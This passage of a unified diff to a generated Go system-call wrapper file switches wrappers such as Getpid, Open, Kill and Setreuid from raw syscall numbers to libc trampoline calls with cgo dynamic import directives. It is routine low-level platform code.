errnoErr(e1) } return } +var libc_ftruncate_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ftruncate ftruncate "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getegid() (egid int) { - r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getegid_trampoline_addr, 0, 0, 0) egid = int(r0) return } +var libc_getegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getegid getegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Geteuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_geteuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_geteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_geteuid geteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getgid() (gid int) { - r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getgid_trampoline_addr, 0, 0, 0) gid = int(r0) return } +var libc_getgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgid getgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgid(pid int) (pgid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getpgid_trampoline_addr, uintptr(pid), 0, 0) pgid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -774,34 +1026,50 @@ func Getpgid(pid int) (pgid int, err error) { return } +var libc_getpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgid getpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpgrp() (pgrp int) { - r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpgrp_trampoline_addr, 0, 0, 0) pgrp = int(r0) return } +var libc_getpgrp_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpgrp getpgrp "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpid() (pid int) { - r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getpid_trampoline_addr, 0, 0, 0) pid = int(r0) return } +var libc_getpid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpid getpid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getppid() (ppid int) { - r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getppid_trampoline_addr, 0, 0, 0) ppid = int(r0) return } +var libc_getppid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getppid getppid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getpriority(which int, who int) (prio int, err error) { - r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0) + r0, _, e1 := syscall_syscall(libc_getpriority_trampoline_addr, uintptr(which), uintptr(who), 0) prio = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -809,20 +1077,28 @@ func Getpriority(which int, who int) (prio int, err error) { return } +var libc_getpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpriority getpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrlimit(which int, lim *Rlimit) (err error) { - _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrlimit_trampoline_addr, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrlimit_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrlimit getrlimit "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrtable() (rtable int, err error) { - r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getrtable_trampoline_addr, 0, 0, 0) rtable = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -830,20 +1106,28 @@ func Getrtable() (rtable int, err error) { return } +var libc_getrtable_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrtable getrtable "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getrusage(who int, rusage *Rusage) (err error) { - _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) + _, _, e1 := syscall_rawSyscall(libc_getrusage_trampoline_addr, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getrusage_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getrusage getrusage "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getsid(pid int) (sid int, err error) { - r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0) + r0, _, e1 := syscall_rawSyscall(libc_getsid_trampoline_addr, uintptr(pid), 0, 0) sid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -851,46 +1135,66 @@ func Getsid(pid int) (sid int, err error) { return } +var libc_getsid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsid getsid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Gettimeofday(tv *Timeval) (err error) { - _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_gettimeofday_trampoline_addr, uintptr(unsafe.Pointer(tv)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_gettimeofday_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_gettimeofday gettimeofday "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getuid() (uid int) { - r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0) + r0, _, _ := syscall_rawSyscall(libc_getuid_trampoline_addr, 0, 0, 0) uid = int(r0) return } +var libc_getuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getuid getuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Issetugid() (tainted bool) { - r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0) + r0, _, _ := syscall_syscall(libc_issetugid_trampoline_addr, 0, 0, 0) tainted = bool(r0 != 0) return } +var libc_issetugid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_issetugid issetugid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kill(pid int, signum syscall.Signal) (err error) { - _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0) + _, _, e1 := syscall_syscall(libc_kill_trampoline_addr, uintptr(pid), uintptr(signum), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_kill_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kill kill "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Kqueue() (fd int, err error) { - r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0) + r0, _, e1 := syscall_syscall(libc_kqueue_trampoline_addr, 0, 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -898,6 +1202,10 @@ func Kqueue() (fd int, err error) { return } +var libc_kqueue_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kqueue kqueue "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lchown(path string, uid int, gid int) (err error) { @@ -906,13 +1214,17 @@ func Lchown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_lchown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lchown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lchown lchown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Link(path string, link string) (err error) { @@ -926,13 +1238,17 @@ func Link(path string, link string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_link_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_link_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_link link "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) { @@ -946,23 +1262,31 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er if err != nil { return } - _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) + _, _, e1 := syscall_syscall6(libc_linkat_trampoline_addr, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_linkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_linkat linkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Listen(s int, backlog int) (err error) { - _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0) + _, _, e1 := syscall_syscall(libc_listen_trampoline_addr, uintptr(s), uintptr(backlog), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_listen_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_listen listen "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Lstat(path string, stat *Stat_t) (err error) { @@ -971,13 +1295,17 @@ func Lstat(path string, stat *Stat_t) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) + _, _, e1 := syscall_syscall(libc_lstat_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_lstat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lstat lstat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdir(path string, mode uint32) (err error) { @@ -986,13 +1314,17 @@ func Mkdir(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdir mkdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkdirat(dirfd int, path string, mode uint32) (err error) { @@ -1001,13 +1333,17 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkdirat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkdirat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkdirat mkdirat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifo(path string, mode uint32) (err error) { @@ -1016,13 +1352,17 @@ func Mkfifo(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_mkfifo_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifo_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifo mkfifo "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mkfifoat(dirfd int, path string, mode uint32) (err error) { @@ -1031,13 +1371,17 @@ func Mkfifoat(dirfd int, path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) + _, _, e1 := syscall_syscall(libc_mkfifoat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mkfifoat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mkfifoat mkfifoat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknod(path string, mode uint32, dev int) (err error) { @@ -1046,13 +1390,17 @@ func Mknod(path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) + _, _, e1 := syscall_syscall(libc_mknod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknod mknod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { @@ -1061,23 +1409,31 @@ func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) + _, _, e1 := syscall_syscall6(libc_mknodat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mknodat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mknodat mknodat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Nanosleep(time *Timespec, leftover *Timespec) (err error) { - _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) + _, _, e1 := syscall_syscall(libc_nanosleep_trampoline_addr, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_nanosleep_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_nanosleep nanosleep "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Open(path string, mode int, perm uint32) (fd int, err error) { @@ -1086,7 +1442,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) + r0, _, e1 := syscall_syscall(libc_open_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1094,6 +1450,10 @@ func Open(path string, mode int, perm uint32) (fd int, err error) { return } +var libc_open_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_open open "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { @@ -1102,7 +1462,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { if err != nil { return } - r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) + r0, _, e1 := syscall_syscall6(libc_openat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1110,6 +1470,10 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) { return } +var libc_openat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_openat openat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pathconf(path string, name int) (val int, err error) { @@ -1118,7 +1482,7 @@ func Pathconf(path string, name int) (val int, err error) { if err != nil { return } - r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) + r0, _, e1 := syscall_syscall(libc_pathconf_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0) val = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1126,6 +1490,10 @@ func Pathconf(path string, name int) (val int, err error) { return } +var libc_pathconf_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pathconf pathconf "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pread(fd int, p []byte, offset int64) (n int, err error) { @@ -1135,7 +1503,7 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0) + r0, _, e1 := syscall_syscall6(libc_pread_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1143,6 +1511,10 @@ func pread(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pread_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pread pread "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pwrite(fd int, p []byte, offset int64) (n int, err error) { @@ -1152,7 +1524,7 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0) + r0, _, e1 := syscall_syscall6(libc_pwrite_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1160,6 +1532,10 @@ func pwrite(fd int, p []byte, offset int64) (n int, err error) { return } +var libc_pwrite_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pwrite pwrite "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { @@ -1169,7 +1545,7 @@ func read(fd int, p []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) + r0, _, e1 := syscall_syscall(libc_read_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1177,6 +1553,10 @@ func read(fd int, p []byte) (n int, err error) { return } +var libc_read_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_read read "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlink(path string, buf []byte) (n int, err error) { @@ -1191,7 +1571,7 @@ func Readlink(path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_readlink_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1199,6 +1579,10 @@ func Readlink(path string, buf []byte) (n int, err error) { return } +var libc_readlink_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlink readlink "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { @@ -1213,7 +1597,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { } else { _p1 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_readlinkat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1221,6 +1605,10 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) { return } +var libc_readlinkat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_readlinkat readlinkat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rename(from string, to string) (err error) { @@ -1234,13 +1622,17 @@ func Rename(from string, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) + _, _, e1 := syscall_syscall(libc_rename_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rename_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rename rename "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Renameat(fromfd int, from string, tofd int, to string) (err error) { @@ -1254,13 +1646,17 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) { if err != nil { return } - _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) + _, _, e1 := syscall_syscall6(libc_renameat_trampoline_addr, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_renameat_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_renameat renameat "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Revoke(path string) (err error) { @@ -1269,13 +1665,17 @@ func Revoke(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_revoke_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_revoke_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_revoke revoke "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rmdir(path string) (err error) { @@ -1284,17 +1684,21 @@ func Rmdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_rmdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_rmdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_rmdir rmdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { - r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0) + r0, _, e1 := syscall_syscall(libc_lseek_trampoline_addr, uintptr(fd), uintptr(offset), uintptr(whence)) newoffset = int64(r0) if e1 != 0 { err = errnoErr(e1) @@ -1302,10 +1706,14 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { return } +var libc_lseek_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_lseek lseek "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) { - r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) + r0, _, e1 := syscall_syscall6(libc_select_trampoline_addr, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -1313,36 +1721,52 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err return } +var libc_select_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_select select "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setegid(egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setegid_trampoline_addr, uintptr(egid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setegid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setegid setegid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seteuid(euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_seteuid_trampoline_addr, uintptr(euid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_seteuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_seteuid seteuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setgid(gid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0) + _, _, e1 := syscall_rawSyscall(libc_setgid_trampoline_addr, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgid setgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setlogin(name string) (err error) { @@ -1351,97 +1775,133 @@ func Setlogin(name string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_setlogin_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setlogin_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setlogin setlogin "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) + _, _, e1 := syscall_rawSyscall(libc_setpgid_trampoline_addr, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpgid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpgid setpgid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { - _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) + _, _, e1 := syscall_syscall(libc_setpriority_trampoline_addr, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setpriority_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setpriority setpriority "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0) + _, _, e1 := syscall_rawSyscall(libc_setregid_trampoline_addr, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setregid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setregid setregid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0) + _, _, e1 := syscall_rawSyscall(libc_setreuid_trampoline_addr, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setreuid_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setreuid setreuid "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setresgid(rgid int, egid int, sgid int) (err error) { - _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), 